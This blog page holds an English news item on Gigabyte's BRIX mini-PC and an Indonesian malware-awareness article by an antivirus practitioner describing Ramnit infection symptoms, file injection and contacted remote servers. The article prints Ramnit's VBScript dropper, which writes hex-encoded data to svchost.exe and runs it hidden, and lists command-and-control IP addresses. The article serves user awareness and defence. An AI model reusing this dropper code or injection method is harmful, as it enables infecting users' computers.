Kamis, 30 Mei 2013

Gigabyte Launches BRIX Mini-PC

Computer hardware manufacturer Gigabyte has entered the mini-PC market with the BRIX mini-PC, a miniature system that is nonetheless highly customizable and packs a lot of power.
The palm-sized system, known officially as the GB-XM1-3537 but referred to with the much-easier to remember term BRIX, was first unveiled at CES this year. But Gigabyte now released a more polished, appealing version of the system.

Measuring only 1.2×4.2×4.5 inch, BRIX is shaped like a rectangular brick that easily fits in the palm of your hand. Its elegant frame showcases a nice sheen, due to the fact that it is made of anthracite aluminum with a glass surface chassis.
Gigabyte says the device is highly customizable and can be configured any way the users desire and for whatever purposes. It can be used as an everyday desktop, but also as a peripheral device. The device is also provided with a VESA bracket to be mounted on the wall or on the back of your display.
But the most impressive part about this mini-PC is that it packs a lot of power, being able to support any ultrabook-class of Intel Ivy Bridge processors, up to Intel Core i7. This will be the default option for shipments, but users will be able to opt for an Intel Core i3 or i5 instead. Besides these three options, users will also be able to order a BRIX powered by a Celeron 1037U.
The BRIX is also equipped with two DDR3 RAM slots and can support up to 16GB memory. Other features include an integrated Intel graphics chip and Realtek LAN.
The system will be shipped without storage, memory or OS. It will be sold with the Ivy Bridge processor the buyer will choose, with Wi-FI, Ehernet, HDMI, a mini DisplayPort, USB 3.0 and expansion options via an mSATA slot and a mini PCIe slot.
The retail price for the BRIX is yet unclear, Gigabyte announcing only that the cost will depend on the processor options you choose. According to Techspot, similar, but less powerful systems on the market cost $165 to $330.
[Image via MaximumPC]

Jumat, 17 Mei 2013

Ramnit Bikin Rumit, Ini Ciri PC Anda Telah Terinfeksi

http://images.detik.com/content/2013/05/16/323/135814_virus5.jpg

Jakarta - Ramnit sejatinya bukan malware baru, namun karena kemampuan amfibinya, ia masih tetap eksis di jagat program jahat hingga saat ini. Lantas seperti apa ciri-ciri komputer yang terifeksi Ramnit?

-. Muncul pop-up iklan, pornografi atau perjudian
Dalam beberapa waktu tertentu, browser akan membuka pop-up iklan atau pop-up yang berisi konten pornografi atau perjudian (kasino). Hal ini yang terkadang membuat pengguna komputer menjadi tidak nyaman. (lihat gambar 1)



Gambar 1, Pop-up iklan yang dijalankan W32/Ramnit

-. Icon Removable media (USB Flashdisk) berubah menjadi icon folder 


Gambar 2, Icon USB Flash yang diubah W32/Ramnit

-. User tidak dapat mengakses USB Flash dengan menampilkan pesan 'Access is denied'.


Gambar 3, Blok akses USB Flash

-. Muncul pesan 'Compressed (zipped) Folders' pada saat mengakses Flash disk.


Gambar 4, Pesan error saat akses USB Flash

-. Muncul banyak file dengan nama file 'Copy of Shortcut to (1).lnk' sampai dengan 'Copy of Shortcut to (4).lnk' di USB Flash.


Gambar 5, File virus yang di drop oleh virus di USB Flash

-. Salah satu hal yang unik dan membuat virus ini sangat mudah aktif dan sulit dibasmi adalah setiap kali user melakukan klik kanan, selain menampilkan menu klik kanan, secara tidak langsung pengguna komputer juga menjalankan virus ini.

Selain gejala yang kasat mata, Ramnit akan melakukan aksi berbahaya baik yang terlihat maupun tidak terlihat, namun akibatnya sangat terasa dan berbahaya untuk korbannya.

Sebab selain mencuri data dari komputer korban, Ramnit juga melakukan pengunduhan malware lain yang tidak kalah berbahaya seperti Sality, Wapomi, Viking, Renosator, PWSTool, Alman, Kolab dan banyak malware berbahaya lainnya. 

Berikut aksi Ramnit yang terkadang tidak kasat mata namun berbahaya:

>. Muncul script error setelah pop-up iklan
Setelah pop-up iklan yang muncul, maka akan muncul pop-up error atau script error dari browser. Munculnya script error ini mirip seperti virus 'ARP Spoofing' pada tahun 2008. 


Gambar 6, Pop-up error atau script error

>. Injeksi file .exe, .dll
Sama seperti varian malware Sality, Alman dan Virut, W32/Ramnit melakukan injeksi file exe. Hanya saja, W32/Ramnit juga melakukan injeksi terhadap file DLL (dynamic load library). 

File exe dan dll yang diinjeksi akan bertambah sekitar antara 100-120 kb, tergantung varian Ramnit yang menginfeksi. Meskipun begitu, tidak semua file .exe dan .dll di drive C: yang diinjeksi.

>. Injeksi file HTM / HTML
Selain menginjeksi file .exe dan .dll, W32/Ramnit juga melakukan injeksi terhadap file HTM dan HTML. Injeksi dilakukan dengan menambahkan pada header dan footer.

Pada header, W32/Ramnit menambahkan script: DropFileName = 'svchost.exe'


Gambar 7, Script yang ditambahkan pada header file HTML

>. Sedangkan pada footer, W32/Ramnit menambahkan script: 

Set FSO = CreateObject ("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & '\" DropFileName
If FSO.FileExists(DropPath)=False Then
Set fileobj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step2
Fileobj.write chr (CLng("&H" & Mid(WriteData, i,2)))
Next
Fileobj.close
End If
Set WSHshell = CreateObject ("Wscript.shell")
WSHshell.Run DropPath, 0


Gambar 8, Script yang ditambahkan pada footer file HTML

>. Membuat fungsi services Windows menjadi blank
Dengan aksi melakukan injeksi file pada file "iexplore.exe" dan file "services.exe", serta menambahkan script pada file web (htm/html) membuat fungsi dari services Windows menjadi blank. 


Gambar 9, Fungsi Services Windows menjadi blank

>. Membuat komputer hang/lambat dan bahkan koneksi jaringan menjadi terputus. Beberapa gejala yang terjadi dan penyebabnya dapat dijelaskan sebagai berikut berdasarkan jenis file yang diinjeksi Ramnit:

C:\WINDOWS\system32\svchost.exe, “svchost.ece” adalah file sistem yang berhubungan dengan koneksi jaringan. Akibatnya jaringan komputer akan terputus ketika file ini di injeksi.
C:\WINDOWS\system32\lsass.exe, “lsass.exe” adalah file sistem yang berhubungan dengan aktivitas komputer. Akibat injeksi ini, sistem komputer akan menjadi lambat / hang.
C:\WINDOWS\system32\services.exe, “services.exe” adalah file sistem yang berhubungan dengan services dan driver yang berjalan. Akibat injeksi ini akan menyebabkan gangguan pada servis dan driver yang di injeksi.
C:\Program Files\Internet Explorer\iexplore.exe, “iexplore.exe” adalah file browser Internet Explorer dari Microsoft. Tujuan injeksi ini adalah agar browser bisa dikontrol untuk melakukan koneksi ke remote server yang telah ditentukan oleh Ramnit sebelumnya.

>. Aktif pada proses memori
Seperti diutarakan di atas, setelah berhasil menguasai Internet Explorer, W32/Ramnit mencoba melakukan koneksi ke Remote Server menggunakan Internet Explorer yang telah di injeksi. Hal ini bisa kita lihat pada proses task manager, walaupun kita tidak sedang membuka IE / Internet Explorer (lihat gambar 10)


Gambar 10, Proses IEXPLORE.EXE (Internet Explorer) yang telah di-injeksi oleh W32/Ramnit

>. Melakukan koneksi ke Remote Server
Malware W32/Ramnit melakukan koneksi ke Remote Server untuk melakukan pengiriman informasi yang dibutuhkan pada Remote Server. Remote Server yang digunakan yaitu di antaranya:
195.2.252.247
195.2.252.252
69.50.193.157
74.125.227.17
74.125.227.18
74.125.227.20
95.211.127.69

>. Melakukan transfer data ke Remote Server
Selain mencoba melakukan koneksi dan berkomunikasi dengan remote server, W32/Ramnit juga mencoba melakukan transfer data dari komputer korban ke Remote Server dan sebaliknya mengirim file malware ke dalam komputer korban. 


Gambar 11, Transfer data antara komputer korban dengan Remote Server

>. Melakukan broadcast
Sama seperti halnya worm Conficker, W32/Ramnit juga melakukan broadacast pada jaringan. Yang berbeda adalah untuk W32/Ramnit hanya melakukan pada satu alamat yaitu: ADX.ADNXS.COM.


Gambar 12, Broadcast yang dilakukan oleh W32/Ramnit


*) Penulis, Alfons Tanujaya adalah seorang praktisi antivirus dan keamanan internet. Ia bisa dihubungi melalui email info@vaksin.com.
Sumber
(ash/ash)

Labels

Berita (32) Gadget (58) Hardware (15) Info (51) Science (4) Tips and Trick (25)